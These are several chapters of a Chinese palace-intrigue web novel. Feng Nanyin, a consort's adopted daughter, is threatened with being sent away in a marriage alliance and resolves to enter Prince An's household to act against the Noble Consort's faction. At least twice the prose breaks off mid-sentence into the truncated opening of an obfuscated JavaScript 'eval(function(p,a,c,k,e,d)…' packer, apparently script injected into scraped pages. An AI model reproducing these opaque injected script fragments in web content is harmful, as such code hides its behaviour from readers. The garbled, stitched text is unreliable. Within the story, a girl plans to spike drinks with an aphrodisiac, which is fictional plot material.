靖王勾唇,向安王拱了拱手,“恭喜四哥,又纳一良媛入府。” 随后他竖起大拇指,“四哥为了心头好当真勇猛,祸乱宫闱之事都敢做,六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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德妃还有什么不懂的,虽没拒绝,也是忍不住劝道,“到底是许你的正妃,大学士之女,你莫要太冷落才好。” “孩儿懂得。”但他实在不喜。 方云婉几次想找靖王攀谈都不得机会,终于等到人散得少了,一个转身之际,靖王已经不见。 她随手扯下一朵花揉碎,心中委屈。 德妃没有寻她到近前问话。 靖王也没看她一眼,她不甘心。 一眼看到采花的凤南茵,走上前。 “冀宁乡主,能陪姐姐到湖边说两句话吗?” 凤南茵无语望天。 她就不该留下来亲自采花,这女人怎么又寻上她了。 第一百七十五章这女人不能留在靖王身边 凤南茵心中再不喜,看在娘亲和靖王的面子,也不能对方小姐太过冷漠。 转身时,面上扯出招牌的笑。 “方小姐,有话咱们在这说就好,丽妃娘娘想要一瓶玫瑰纯露,我这会是奉旨意办差。” 方云婉没想到她竟是这种理由搪塞自己。 心下不快,很快转了语气。 “那我帮乡主一起采吧,要新鲜的玫瑰是吧?” 凤南茵知道她的目的,想讨好靖王,在她这打听情况罢了。 “方小姐,你很优秀,家世、容貌、才学样样拔尖,德妃也夸你知书达理,其实大可不必焦虑,似您这样的人,走到哪都会被人喜欢的。” 方云婉被她夸得脸上羞红,“那冀宁乡主也喜欢我吗?” 凤南茵歪着头看她,笑露出一口贝齿。 “我第一次见方小姐,印象自然是好的。” 方云婉想从凤南茵这里套话的心忽然就淡了,这个冀宁乡主看着年纪小,却是这般的圆滑,怕是不会与自己说真心话。 “能被你喜欢是我的荣幸,你是德妃的义女,就是靖王的义妹,以后我们是不是也算是姑嫂关系。” 凤南茵见她对自己竟然还有讨好意思,便道:“您可是靖王妃,愿意与我姑嫂相称,是南茵的福气。” 看着凤南茵这么随和,方云婉心下松了不少。 她便想着,拉进二人关系,自然要说些敏感的话题,这才能看清是否相处的好。 于是她问:“今日之事你有什么感想?我有些担心南蓉,总觉得安王今日在扯谎。” 凤南茵干脆放下花蓝,问她,“你不是和安王妃关系很好吗,那么担心凤南蓉,可以让王妃照顾啊!” 方云婉上来抓她的手,“南茵,你说什么呢,我与凤南蓉虽然认识,可是没有交情,且我听说她之前对你不好,我怎么会为了她去求安王妃,连个理由都没有。” 凤南茵不懂,她又说与凤南蓉没感情,又觉得她可怜,真的只是想与自己说八卦套近乎,还是什么? 她捡起花篮继续采花,一副没兴趣的样子。 方云婉见她不说话,本想打住话题,可心中的疑惑实在太大了。 “南茵,你说延辉阁的香是谁放进去的?安王打了凤南蓉一巴掌,不会真的是她想攀高枝,自己设计的局?那这香是从哪来的?” 凤南茵看了篓子里的花量,心下想着还是让宫婢来采吧,今天蜜蜂太多,一直嗡嗡地头疼。 她道:“方小姐,有些事置身事外就好,打探清楚也不过是满足自己的好奇心,并没有好处,说不定还会惹上麻烦。” “我得回宫了,大喜之日我再去靖王府为王妃贺喜。” 百花宴,草草散了。 德妃一走,除了一些不受宠的妃嫔三五个坐在园子里谈天说地,基本上都走的差不多了。 太子妃一直躲在远处看着这些人,见凤南茵与方小姐聊的并不愉快,缓步上前。 “方小姐,还没恭喜你成为靖王准妃。” 方云婉忙与她见礼。 “臣女参见太子妃。” 太子妃是不喜欢对方的,毕竟谁都不知道太子能否活到登基那日,她的皇后梦怕也难实现。 将来那个位置,不是姜新月的,就是这方云婉的。 于是她故意挑拨,道:“方妹妹,日后嫁入王府,可要防着一些凤南茵,她医术了得,这制香的能力也厉害。” “制香?” “你没听到皇上让她去查香灰吗?当初她的香料,可是险些要了太子殿下的性命。” 她抚摸着小腹,不过那事虽没查出幕后之人,到底是让她因祸得福,成功怀上了孩子。 算算月份,和丽妃的相差时日不多。 有了这个孩子,她已经不期盼太子的身子是否能康复了。 但不影响她对那些能嫁如意郎君的女人嫉妒。 方云婉被太子妃的话惊道,“太子妃,到底是怎么一回事?” 郭宁便将当日之事添油加醋地说了一遍。 “诶,这事最终也没查出是谁做的,不过怀疑的对象逃不过是她们几人,没有证据我也不好诬蔑人,但是妹妹自己记得当心才是。” 她拍了拍方云婉的手,将一颗怀疑的种子埋进了方云婉心里。 她本就因安王的话,怀疑这事与靖王有关,毕竟安王倒霉,靖王将来替代太子的可能性就更大。 只不过现在忽然有些怕了。 “凤南茵年纪那么小,竟是这般的利害?” 一时间,方云婉竟然心生惧意。 一个平平无奇在乡下长大,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“母亲,你帮女儿想个主意,趁着德妃还没有赐婚,这人得赶快把她从靖王身边赶走。” 方夫人为难,“她现在是乡主,听说又与凤夫人断了亲,这婚事咱们有心替她介绍也无使力的地方啊。” 德妃那边,她哪里说得上话,且去说这事,用意太过明显,于女儿反倒是不利。 她沉吟许久,到底姜还是老得辣,忽然心生一计。 “回头我就去找你大姐,她与安王妃可是闺中密友,这事你就不用管了,母亲自有主意。” 她保证,能让冀宁乡主日后没办法无忧无虑地过日子。 第一百七十六章盛青岚跪地相求 宫宴散了之后,凤南茵便时不时地打喷嚏。 德妃担忧她染了风寒,可她自己晓得,自己根本没有生病。 不是做香露时熏坏了鼻子,就是有人骂她。 她拿出新做的四瓶花露,一一摆在桌上。 “娘亲,这瓶贵气逼人是女儿送您的,香气温和典雅,用的桂花和栀子提香,娘亲闻闻看,喜欢不。” 德妃不住点头,“真香,这味道深吸,竟有一种空谷幽兰的感觉。” 她喜爱地夸赞。 “我的南茵就是心灵手巧,怎么地这般聪慧。” 凤南茵得意,她就知道娘亲会喜欢。 德妃指着另三瓶,“这些是送谁的?” 凤南茵将粉色的攥在手里,“这瓶我自己留着用,是栀子香,这瓶黄色的是用茶花和茉莉调和的,送丽妃娘娘。” 德妃又问,“那这瓶蓝色的呢?” 凤南茵很是大方地道:“这个送靖王,用的柑桔、枇杷加茶油调和的草木香。” 德妃见果然有儿子那份,不由地用眼神盯着丫头的小脸,可惜,半点娇羞也没看到。 她忍不住问,“南茵,如今你十四岁了,到了该婚配的年纪,可有喜欢的儿郎?” 凤南茵小嘴一嘟,有些不高兴。 “娘亲,你不会和凤夫人一样,急着把我嫁人吧?女儿还想多快活几年,随师伯好好游历呢,不想嫁人。” 德妃哄着,又道:“也不是急着要你嫁人,但是趁着年纪合适,先把亲事订下来,不然好儿郎都被人订走了,错过了好姻缘。” 凤南茵摇晃着小脑袋跟拨浪鼓一样,“我信命,命好自有好儿郎等着我,命不好,定下娃娃亲也未必嫁得如意郎君。” 她扑到德妃怀里哄着,“娘亲,订婚这事不急嘛,现在只您催我,可是订下婚事,就是男方那边催了,到时候不想结也得结,麻烦多多。” 德妃愁,这还想问问南茵对轩儿啥感觉呢,上来就把后话都堵**。 可怜她的轩儿,今个往钟粹宫送芒果,后个往钟粹宫送个凤梨,南茵不在的那段时间,也没见有这么多的孝心。 她轻叹,看着南茵就替轩儿犯愁,都是她的孩子,想撮合咋这么难。 “要是,那男儿喜欢你,又不催着你结婚呢?”她不死心,试探地问。 凤南茵插了一块芒果肉往娘亲嘴里送。 “娘亲,您可千万别被男人的花言巧语给骗了,这男子要是动了那方面心思,就恨不得立即得到,这从医术角度分析,与男女结构有根本的原因在里面。所以,一旦定了婚,我敢保证,我就被扣上他私有的标签,绝对不允许我再出门游玩,搞不好一及笄就要成婚。” 德妃点着她的脑门,“人小鬼大,哪里学得歪理邪说。” 她哼着,“我可没胡说,男人三妻四妾对女子最是不公,我嫁人,当主母,要应付妾氏的拈酸吃醋,当妾氏,要应付主母的欺压。” 她摇晃着德妃的手臂。 “娘亲,南茵才幸福几天,不想过苦日子么。我现在有娘亲护着,师伯宠着,当乡主多快活呀。” 周嬷嬷忍不住问:“小主子就没有喜欢的人?说不定到时候急着想嫁人的是您呢?” 凤南茵想到在牛家村,看到那些被打骂的媳妇,头摇晃得拨浪鼓似的。 “没有没有,男人都是大猪蹄子,喜欢不了一点。” 德妃一个没忍住,芒果掐在喉咙口,不停地干咳着。 她示意周嬷嬷还是别问了,她儿子都成大猪蹄子了,再问下去也是没有结果。 “南茵,这次打算什么时候离京,可有想好去哪了吗?” 凤南茵摇头,“还没和师伯商量,不过打算和师伯一路向南走,远到儋州去瞧瞧,听说那里便是天涯海角,算是到了我北庆的尽头。” 她想的是,要是环境好,就与师伯在那里常住了,听说那里虽民风彪悍,但是缺医少药,她和师伯去了日子不会难过。 且人少的地方,生活简单。 若是过得习惯,她也不想回来了。 但她没有与德妃说这些,怕说出来走都走不成了。 这时,有宫人匆匆来报。 “娘娘,宫外凤夫人下了名帖,要入宫求见。” 德妃拧眉,昔年她承了盛青岚的情谊,初入宫时得了多次银两相助,这份情,在她为凤南蓉求秀女名额时,就已经不欠了。 加上这次凤南蓉做下的丑事,那可是必死的情况。 如今嫁入安王府,也是她说的情。 “怎么,这是入宫谢**了?” “若是如此,就与她说免了。”她懒得应付。 凤南茵坐正身子,却道,“怕是没这么简单,凤夫人的性子我了解,她可能有事求母妃。” 凤南蓉的性 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她说着,眼泪便涌了出来。 其实她刚刚跪下时,德妃就发现她哭过,只是没问而已。 “南蓉入宫后,多次闯祸,本宫数次保她性命,怎么,入了安王府依旧不知守规矩吗?” 德妃开口,便语气冷漠。 凤氏心瞬间往下沉,南蓉,南蓉她在宫里竟也不得德妃所喜? “南蓉自幼被娇宠长大,确实多些骄纵与傲气,被娘娘不喜也能想到,只是她到底是我捧在手心长大的女儿,如今在安王府被罚,得了重病下不来床,我得到信之时,她已昏迷一夜。” 她说着抹泪,“如今凤府无权无势,即便送丫鬟进安王府照料她,也是被拿捏欺负,实在是逼不得已,想求南茵过府去看着。” 她垂着头,不敢看德妃的脸色。 卑微不已。 “娘娘,南茵不用做什么,只在旁守着她姐姐就好,她身有封号,安王府的人不敢对她如何,臣妇实在是万不得已。” 德妃惊愕,她也没想到安王竟是如此绝情。 但她并没有心软,她道:“盛青岚,南茵早与你们断绝了关系,你不觉得此事相求,过于荒谬了吗?” 第一百七十七章让凤南茵顶替出使和亲 凤夫人知道德妃护着南茵,没想到护到这种程度,竟因为她凤南茵的事情,对她这个生母发火。 “娘娘,这事对于南茵来说,不过是举手之劳,可于南蓉是一条命啊!” 德妃半倾了身子看着她,“是南茵逼凤南蓉入宫的?” “是南茵让她私自离开钟粹宫,让安王有机会毁她清白名声的?” “你们凤家人不自量力,凤南蓉不知好歹。 现在出了事又让南茵过去,曾经利用她的次数还不够吗?” 盛青岚曾经极要脸面,如今她的骄傲被人踩踏的次数太多,已经练就了厚脸皮。 她垂着头,只道:“娘娘,臣妇并没有叫南茵做为难之事,不过是入安王府守她姐姐几日,这事于她而言不过是小事。” 凤南茵从屏风后面缓步走出来。 她眼神冷漠,像看陌生人一样看着盛青岚。 “守她几日就好?” 凤南茵走到德妃后面,她可不想被折了寿,让盛青岚跪自己。 她道:“凤夫人说得轻巧,我护她这几日,依着凤南蓉只会附庸风雅,半点人情事故不懂的性子,迟早还会挨罚。” “我护了她这一次,下次、下下次呢?” “你让我护她一辈子吗?” 凤氏不满,“南蓉哪里如你说的那般,这次只是因为安王的气还没消,迁怒到了她。” “呵,新婚燕尔就不得夫君喜爱,凤夫人还指望她日后能得宠?” 凤南茵在心中盘算着这事的关联。 若她是安王妃,敢动才被赐婚入府的凤南蓉,且将人打得昏迷不醒,下这么重的手,大可让她自生自灭。 没必要告知凤家人,还让凤夫人入宫来寻她。 她心中隐隐有不好的预感,这事不会是冲着她来的吧? 同一时间,御书房。 贵妃泪眼迷蒙,面容哀戚,苦苦求着皇上。 “皇上,菁雨自幼娇生惯养,也是您一手捧着养大,若是去和亲,她这副柔弱的身子怕是到不了那北蛮之地,就会殒命在路上,皇上您怎么舍得。” 皇上也是不舍,可和亲一事容不得更改。 他本就烦躁,现在又听贵妃求情,更加恼火。 “她生在皇家,养在皇家,就该懂得享着的富贵是何人给的。” “如今她去和亲,也是为我北庆子民做回报,你这般心无大义,怎么配这贵妃之位。” 余贵妃有孕七个月,脸颊浮肿,身材走样,越发入不得皇上的眼,语气里满是不耐烦。 贵妃心中苦涩,她何尝不知如今她不受皇帝所喜,可是菁雨绝对不能去和亲。 “皇上,臣妾知道这样求您不对,可和亲本是为两国交好,不如送过去一位容貌更好,性子坚毅,身体也好的女子,您册封她一个公主身份,不就可以代替菁雨过去了吗?” 皇上有种茅塞顿开的感觉,贵妃所言不无道理。 “那你觉得何人合适?” 余贵妃见皇上松了口,道:“皇上,臣妾觉得冀宁乡主最合适,您说呢?” 皇上沉吟:“这冀宁确实容貌不错,又在乡野长大,身体素质也不错,会的东西也多。” 丽妃本给皇上送汤,在殿外听到这话,心荒的厉害。 她附耳:“念芯,快给德妃送信。” 她则在二人即将定下结果时,推门而入。 “皇上,臣妾见您近两日睡不好,特意熬了醒神汤送来。” “姐姐也在,臣妾是不是打扰到你们了?” 皇上招手让她到近前。 “还得是爱妃,时刻惦记朕的身体,不过这种活日后让奴婢们做就成了,你这怀着身子莫要累到。” 贵妃在旁眼里都要喷火了。 丽妃不过才三个月身孕,尚未显怀,皇帝就担心她累到。 自己呢,大腹便便,走路都累,也没听到半句心疼的话。 这就是情浅恩断,所做一切都不再入那人眼。 “皇上,臣妾刚刚的提议?” 丽妃忙又插话,道:“皇上,臣妾听闻金沙国派人来我北庆了?届时又要开设宫宴宴请他们吧?到时候皇上您少不得又要饮酒,可得注意身体啊。” 贵妃受不了了,低低咒骂,“贱人,就喜欢用这种狐媚的手段魅惑皇上。” 丽妃咬着唇,装作什么都没听到。 “皇上,臣妾这两日将您的烦心都看在眼里,也在日夜所思如何替您分忧,终于让臣妾想出一个主意。” 皇上宠着她,听丽妃温柔软语,心情便好。 “爱妃说说看。” 姜妙梨绕着帕子,眉目流转,勾着皇上的心。 她道:“既然是和亲,这次人选必是七公主,可皇上如此犯难必是不舍,既然如此,为何不在这批秀女当中选几人,让她们在宴席上献舞,那金沙王子相中哪位,皇上便将哪位指婚于他,并赐那女子公主头衔。” “如此一来,诚意有了,尊贵也有了,还能合了那王子的心意,解了皇上不舍爱女之忧。” 她莞尔一笑,“相信被选中的秀女定也愿意为国出使,一来家族荣光,二来也算得到夫君宠爱,比之在这后宫蹉跎数年不好吗?” 皇上抬手轻刮了一下她的琼鼻,“爱妃果然一心一意替朕分忧,如此确实两全其美。” 皇上冷冷睨了贵妃一眼,“贵妃如今则是越来越不识大体了,只会让朕心烦。朕念在你关心则乱,回宫养胎去吧。这几日菁雨就不要随意出来溜达了,不想被看中,就安分守己一些。” 贵妃几乎是被皇帝似甩苍蝇一般,给打发走的。 迈出门槛的那一刻,她看到皇上拥着丽妃在那吃汤,眼底皆是忌恨。 今天菁雨出使和亲这事算有了转圜余地,可是她想送走凤南茵的法子却是被挡了。 “姜妙梨,自从你得了宠后,处处与我作对,今日你不是想替凤南茵挡劫吗?他日我便要你不得好死。” 德妃这边正被盛青岚纠缠的烦不胜烦。 不管她如何喝斥羞辱,那女人只一味的伏低做小,苦苦哀求。 这时周嬷嬷附耳几句,德妃压了压火气。 “你先坐着,本宫出去瞧瞧怎么回事。” 她道:“南茵,你随母妃一同去看看。” 外间,念芯紧张不已,不停地搓着手。 见德妃出来了,忙上前道:“娘娘,不好了,金沙国要来我朝和亲,贵妃有意推冀宁乡主顶替七公主出使,您快想想办法吧。” “什么?” 德妃恨得想立即弄死贵妃,要不是忌惮余家势大,她早出手了。 “娘娘,奴婢走时,我家娘娘叮嘱,让乡主这段时间不要待在宫中,先出宫躲一躲吧。” 第一百七十八章南茵,将你许给靖王可好? 躲? 凤南茵也走了出来,满脸疑惑地看向念芯。 “若是贵妃想让我替代公主出使,我躲出宫又有何用?” 这天下莫非王土,她躲在哪都无用。 德妃此时无不后悔。 早知如此,在给儿子赐婚的时候,就该将南茵的一并求了。 “现在这是什么事,那满是风沙的地方,就连天上的鸟都吃人,真要嫁到那里,哪还有好日子过了。” 凤南茵心里也急,可还是先安慰德妃。 “娘亲,先别急,我去问问丽妃,打探一下是个什么情况。” “我随你一同去。” 凤夫人根本不知二人做什么去了,坐如针毡地等在坤宁宫,一等就是一个时辰,无人问津,只能不停地喝着茶水。 春华宫。 丽妃看到德妃和凤南茵过来,将所有宫女都屏退了。 “我猜到姐姐和南茵会过来,早早回宫等着你们。” 德妃心焦,问,“妹妹,到底什么情况?” 丽妃将自己在御书房听到的,还有皇上答应的复述了一遍。 “现在皇上采纳了我的主意,可贵妃虎视眈眈在旁盯着,就怕她铁了心想要南茵出使,凤南蓉被设计的事,咱们不得不防。” 德妃点头,“丽妃说得对,若是她千方百计将你往那金沙王子身前引,保不准出什么幺蛾子。” 凤南茵在心中慢慢已经有了计划。 “娘亲,丽妃娘娘,如果我这个时候故意躲出去,肯定引起皇上的怀疑,他不指婚我出使北蛮是一回事,我躲肯定不成。” 德妃点头,“是这么一回事。” 帝王的威严起允许挑衅,再不愿也不能表现出来,南茵毕竟不是时菁雨。 “可你这样出色,不用别的,只需出现在宫宴上,怕是就引起对方的注意的。” 更何况还有贵妃在背后使坏。 凤南茵忍不住咧嘴笑了出来。 “就娘亲觉得我好,我这种平平无奇的相貌,站在人群里不用力摇手都发现不了的个头,哪可能引人注意。” 丽妃嗔了一声,“那是之前,你这次回京,这个头蹿了不少,虽说肤色被晒得暗了些,可五官一等一的出彩,这批秀女里容貌能超过你的,也就你姐姐凤南蓉了。” 凤南茵道:“我要说的正是她,刚好凤夫人来求娘亲,让我进安王府照看她,若我此时表现得姐妹情深,衣不解带地照顾她的身体,又是因安王、安王妃伤了她,你们说,贵妃娘娘还会召我入宫吗?” 丽妃眼前一亮,“贵妃怕是提都不敢再提,毕竟皇上才指婚凤南蓉入安王府,这人就被罚的差点没了半条命,她才是那个心虚的人。” 凤南茵点头,“她一次次暗中使人做手脚,次次都拿捏不到她的把柄,这一次害凤南蓉的人,我敢肯定是她所为,可惜那名传信的宫女死了,又一次死无对症。” 德妃在心中冷笑。 什么死无对证,不过是皇上故意不想追查。 这些年,这种委屈她早就习惯了,争辩没用,还会让帝王厌弃了你。 “南茵,入安王府并不是一个明智的决定,要不你还是与宫大夫这就出京游历去吧。” “娘亲,刚您都说了,躲只会带来更坏的后果,我们不躲。” 丽妃点头,“南茵,这事你若做了决定,我向皇上透露你进安王府之事。” 凤南茵很感动,在这深宫,她有娘亲护着,有重情重义的丽妃相帮,真的很幸福。 “可是,你这样入了安王府,叫我怎么安心。” 凤南茵不是逞强的性子,她道:“下毒、放药这些我都不怕,就怕别人与我动手,若靖王能寻到会武功的嬷嬷或者婢女陪同我入安王府,我就不怕了。” 德妃点头,“我这就派人给靖王送信。” 凤南茵不是圣母,吃一百次亏还不长记性。 她有一个不算成熟的计划,要入了安王府才能知道行不行得通。 若是成了,娘亲所有的担忧一并解决…… 德妃忧心忡忡,回宫的时候依旧在叮嘱,“南茵,咱们有言在先,若是没有合适的人陪你入安王府,这事娘亲绝不答应。” 那金沙国来的什么王妇,爱娶谁娶谁,她绝对会在对方提出求娶之时不答应。 回宫的路上,德妃忍不住提起,“南茵,娘亲想将你许给靖王,你可愿意?” “虽然不能做正妃,但有娘亲在,任何人都不敢委屈了你。” 凤南茵一个走神,踩在甬道上的青苔,险些滑摔。 “娘亲?” 德妃娘娘是在和她开玩笑吗? 她这么努力想助靖王坐上皇位,娘亲却想让她以后都宿在这深宫当中? 她脑袋摇晃成拨浪鼓一般,不停地晃着。 “娘亲,靖王不会喜欢我这种小孩子的。” 开什么玩笑,靖王确实很出色,身材高大,样貌硬挺俊美,位高权重又爱民。 可他对自己从来没有好脸色,不是冰着一张脸,就是找她当挡箭牌。 当初赠那颗木珠,也不是单纯想帮她,更别提他这人没有心软一说。 他会是一个好帝王! 但绝对不会是一个好夫君,更何况,他后宅的女人多到可以划分十三个等级。 到时候与这么多女人称姐妹,烦都烦死了。 她才不要。 德妃不死心,“你不是靖王,你怎么知道他喜不喜欢?” “都说知子莫若母,将你许给他,他定然乐意的。” 凤南茵一边走一边嘀咕,“他当然不会反对,反正喜不喜欢就是多一张嘴吃饭。” 瞧他躲着方小姐的那个态度就晓得了,就算做王妃都没意思。 她可以不成亲,但不想嫁一个心中无她之人。 高墙深巷,四下寂静无声。 凤南茵以为自己的声音足够小,却全部听进了德妃耳里。 “南茵,身为女子迟早是要嫁人的,成亲后都是后宅那一方天地,不可能再让你抛头露面,这是改变不了的。” 凤南茵嘟唇,“娘亲,我觉得这世道不公平,若是改变不了这世道,非要嫁人。那我想剪了头发做姑子,这样就没有人约束我,我一辈子都能做自己想做的事了。” “你这孩子,怎么胡说八道上了。” 周嬷嬷扯了扯德妃的衣袖。 “娘娘,冀宁乡主还小,您别太心急。”这种情况,就算是为了解决联姻,将小主子嫁给靖王,怕也是适得其反的。 凤南茵垂下头,将心事藏起。 不,她故作不懂情。 她是真的不想嫁靖王,不想困死在这一方牢笼里。 钟粹宫内,盛青岚已经坐立难安。 “德妃娘娘!”她刚开口,德妃一脸不悦地瞪了回去。 一个两个的都来算计南茵。 总有一天,她要这些人都后悔。 “等等吧,本宫乏了,此时不想议任何事。” 凤夫人:“……可?” 第一百七十九章谋害当朝王爷受车裂刑 盛青岚只得了德妃冷冷一句回复,便又被晾在大殿当中。 宫娥来来回回行走,每次进出都会扫上凤夫人一眼。 每经过一人,盛青岚的脸皮就会被刮下一层。 “瞧,这就是与咱们冀宁乡主断亲的那位,都不知她是怎么想的,当鱼目为宝,将明珠赶出家门。” “那个春蓉就是个花瓶,绣花枕头,一脑袋的糠,现在为了那个失了清白,脸都丢进女儿又来求咱们娘娘,咋想的?” “长相好又能咋样,入了安王府又如何,就没见过才嫁人就遭受虐待的,我看春蓉这辈子算完了。” “我要是她,肠子都悔青了。” “早知今日,何必当初。” 盛青岚真想拂袖而去,再也不受这种气。 可她到底舍不得南蓉,她只是时运不好,绝对不是这些人说的“绣花枕头”,更不是蠢货。 德妃让人给靖王送信,刚好靖王就在中和殿的西暖阁,和朝臣商讨完事情便过来了。 一入殿,就看到了凤夫人。 “见过靖王。” 他轻轻颔首,“听闻凤良媛入了安王府当日,就宣了太医,竟是不小心断了肋骨?” “凤夫人此时不守着自己的长女,来见我母妃,总不会是想让我母妃为她做主,帮她讨个公道?” 盛青岚脸一阵青,一阵红。 她确实遇事只能来求德妃,可这一次比从前以往都要令她难堪。 “臣妇倒是想仗娘娘的势,但臣妇还是有自知之明。好在我还有一个女儿在宫中,如今她是乡主,定能帮上她姐姐。” 她在这里坐了一会也不是白坐的,至少她想清楚一件事。 若是南茵不随她去安王府,德妃早就将她打发了。 一直这样晾着,必是应了此事,现在不过是给她一个下马威,她只需要耐心等着就是。 靖王挑了挑眉,难道母妃让人传话,说要一个武功高强的丫鬟。 “原来是又在打南茵的主意。” 他虚眯了眸子,心中生出气恼,直接拂袖进了内殿。 “母妃!” 他想知道,母妃为什么会答应这么恶心的请求。 德妃这会子倚在榻上,神色也是不好。 还未等靖王先开口,她问:“余家谋逆一事,你查得如何了?” 靖王一怔,母妃从不关心前朝之事,今日这是受了大委屈了? “已大有眉目,只差最后铁证。” “尽快吧,贵妃的所作所为越来越让人忍受不了了。” 被打压了这么多年,处处被那个女人掣肘,她都撑过来了。 如今,她为了一双儿女,真的到了忍无可忍的地步。 偏余家势大,皇帝忌惮,这么多次处罚贵妃也只是禁她的足,不痛不痒。 “外面凤夫人你也见到了吧,她要南茵去安王府陪凤南蓉养伤。” “原本可以直接将人赶走的,今日贵妃却提出让南茵代替七公主去和亲,皇上差一点就允了。” “什么?” 靖王拳头捏得咯咯作响。 他都不忍摧残的花蕾,愿静等着花开再去采撷。 贵妃与父皇竟然想将南茵远嫁! “我这就去见父皇!” “你做什么去!” 德妃急得从榻上起来。 靖王阴沉着脸,声音带着一丝嘶哑。 “母妃,我这就向父皇求娶南茵。” 他等着长大的小丫头,怎么能便宜了外人。 德妃到这一日才是真的从儿子口中得知实情,她确实没有看错,儿子确实心悦南茵。 “你还是先问问南茵的意思吧。” 换作旁人,能被她儿子所喜,那是无上荣光,要五体投地叩拜天恩。 可南茵不同。 德妃已将南茵当自己的女儿疼爱,想将她这些年没得到过的母爱都补给她。 若是强行指婚,那与盛青岚又有何区别。 靖王似是明白了什么,“母妃觉得她会不愿意?” 这个想法冒出来,靖王有一些受伤。 即便他不是十全十美,可自负这世间超越他的男子不多,那丫头不愿意嫁他? 德妃叹气,“那孩子一心想往出跑,不喜拘在后宅,她不是不愿意嫁你,是抗拒成婚。” 靖王不喜欢模凌两可做事,他道:“我去问问。” 德妃点头,儿女的事情,先由他们自己解决,解决不掉,还有她托举。 盛青岚就见靖王进去,又离开。 她从座位上起身,一句话没插上,又坐下。 心中生出了狐疑,难道她的肯定又出差错了? 靖王在偏殿的药房找到凤南茵,她身边堆着十几摞药匣,正在仔细地挑拣称重。 “南茵,你在做什么?” 自从皇上不让她制香后,这些药就一直没有动过。 凤南茵头都没抬,将手中称好的药倒进药杵里,用力捣碎。 “一会我要随凤夫人入安王府,我现在做些防身的药,以备不实之虚。” 靖王浓眉拧成一个结,“谁同意你去了,和亲一事解决的法子多了,要你一个弱质女子去安王府遭罪?” 凤南茵没想到他会生对自己生这么大的气,清澈的眼底有着无辜。 “谁说我是去遭罪的,就不能是帮凤南蓉争宠,然后搅合安王府后宅不宁?” 靖王笑了,“然后呢,你这样做的意义在于什么?” 凤南茵将做好的药粉摊开在掌心,在靖王面前显摆。 “这个,是我的杀手锏,兑入酒水里无色无味,却能让男人龙精虎猛、身经百战不知疲倦。” 靖王想一巴掌拍散她手中的药粉,“你一个丫头,从哪学来的这些。” 没羞没臊的,真是什么都敢胡咧咧。 靖王脖颈忍不住都红了。 凤南茵手快,身子一转,宝贝似地护着手中药粉。 “好个乖乖,这粉要是洒了,我会和你急的。” 她瞪了靖王一眼,小心翼翼地收进自己荷包里。 “王爷,我们被贵妃算计几次了?” 她伸出五根纤纤玉指,怼在靖王眼前。 “五次啦!” “不管是给母妃用相克的食物、还是害太子差点没了性命,亦或者最近毁掉凤南茵让钟粹宫难堪,每一次,她都置身事外,没有得到任何教训。” 在宫里,她不能拿贵妃如何,但是这口恶气,她再忍着,就要出内伤了。 时景轩隐隐有不安之感。 “你要如何?你可知,毒害当朝王爷,要受车裂之刑,诛九族!” 凤南茵打了一个哆嗦,没想到刑罚这样的重? “谁说我要毒害他了?”她小声嘟哝,她看起来有那么傻吗? 第一百八十章凤南茵的野心 靖王抓住她继续忙碌的手,“不管为什么,这些事不该你来做。” 南茵就该像菁雨一样,过着无忧无虑的生活。 他有这个能力,让南茵幸福! 凤南茵挣开他,心中已做了决定。 “王爷,我知道你在暗中对付余家,瓦解他们的势力,这事不容易。” “娘亲在对抗贵妃,我知道,贵妃好日子撑不过三个月。” “但是余家倒了,贵妃也倒了,安王会倒吗?” 就像当初的朱家,朱家满门被流放,皇帝还不是保下皇后之位。 太子如今不是安然地稳住东宫? “我随师伯出去游历这一个月,并不是只在游山玩水。” 她看到了太多人间冷暖,民不聊生。 “百姓日子太苦了,他们需要一位真正爱他们的明君,将来若是安王称帝,我不敢想象那个连偷粮都干得出来的人,会让百姓过怎么样的日子。” 那样山清水秀的蜀州,被称之北庆最富庶之一的地方,百姓依旧食不果腹,卖儿卖女…… 恶霸横生,强取豪夺随处可见。 “王爷,我也想为百姓做一点事,就算不成,至少将来我不会后悔。” 凤南茵的话狠狠拉扯了靖王心底的一根弦,弹的他血液涌动。 他听懂了,凤南茵想替他杀了安王。 这丫头竟是这般信任自己,觉得他会是那个明君。 “你可知,这样的风险有多大,对你而言,也没有好处。” “谁说的?好处多着呢。” 靖王见她这会还能笑,心情也松弛下来。 他要不要再信南茵一次,毕竟这丫头给过他很多的意外。 “那你说说,好处是什么?” 凤南茵凑到他近前,用特别小的声音在他耳边低低道:“我知道,若你坐上龙椅,我就有这世上最强大的靠山,就算不是一人之下,也是万人之上,你说是不是好处。” 靖王被她吐出的气息瘙痒的难受,喉结滚动几许,才压下心中浮躁。 扯了嘴角,“即便你不冒险,我也会让你实现这个愿望。” 凤南茵继续捣她的药,轻哼一声,“我不喜欢当金丝雀。” 她只知道,若自己没有本事,得不到德妃的喜爱。 若她帮不上靖王,也得不到对方的另眼相待。 大道理她说不出来,反正她知道自己要什么,该争取什么,这就够了。 “好,既然这样,我将叶荭姑姑指给你,她会一手好鞭法,轻功了得,你带她入安王府。” 凤南茵眼底当即变得晶晶亮,她一时高兴地忘了形,从荷包里掏出药包。 “王爷,这包一夜春宵我送你一份,我保证王爷大婚之夜,能体验到什么是如坠云端、什么是……”欲仙欲死还没说出来。 “唔……疼!” 凤南茵脑袋瓜上被狠狠弹起一个大包。 “你还知道疼?” 靖王气恼地转圈,“回头本王就去找宫良,倒是要问问他,都教给了你什么乱七八糟的医理。” 凤南茵疼得眼泪都流出来了,一脸的委屈。 “王爷!” 她说错什么了,即便不在大婚之夜用,靖王就没个通房、侍妾? 她这药是顶顶好东西! 至少书上就是这样说的,可使男女在同房之时,感受什么是如鱼得水,欲仙欲死。 虽然用多了,是害人的玩意,可用一次,体验神仙之感有啥不好? 靖王被气得黑了脸,他心下皆是恼火。 这丫头是真的没开窍,在这里胡咧咧,还是不将他当男人看。 “你还是真大方。” 他气得咬牙切齿,竟然让他和别的女人用这东西。 凤南茵自豪地道:“那是,你可是我名义上的义兄,我对你自然无保留。” 更何况,这药都是宫中所出,又不用她花一文钱,犯得着小气吗。 靖王有种无力感,她只当自己是兄长吗? 他气得甩袖,哼道:“本王用不上这东西,日后也不准你偷偷给本王用。” 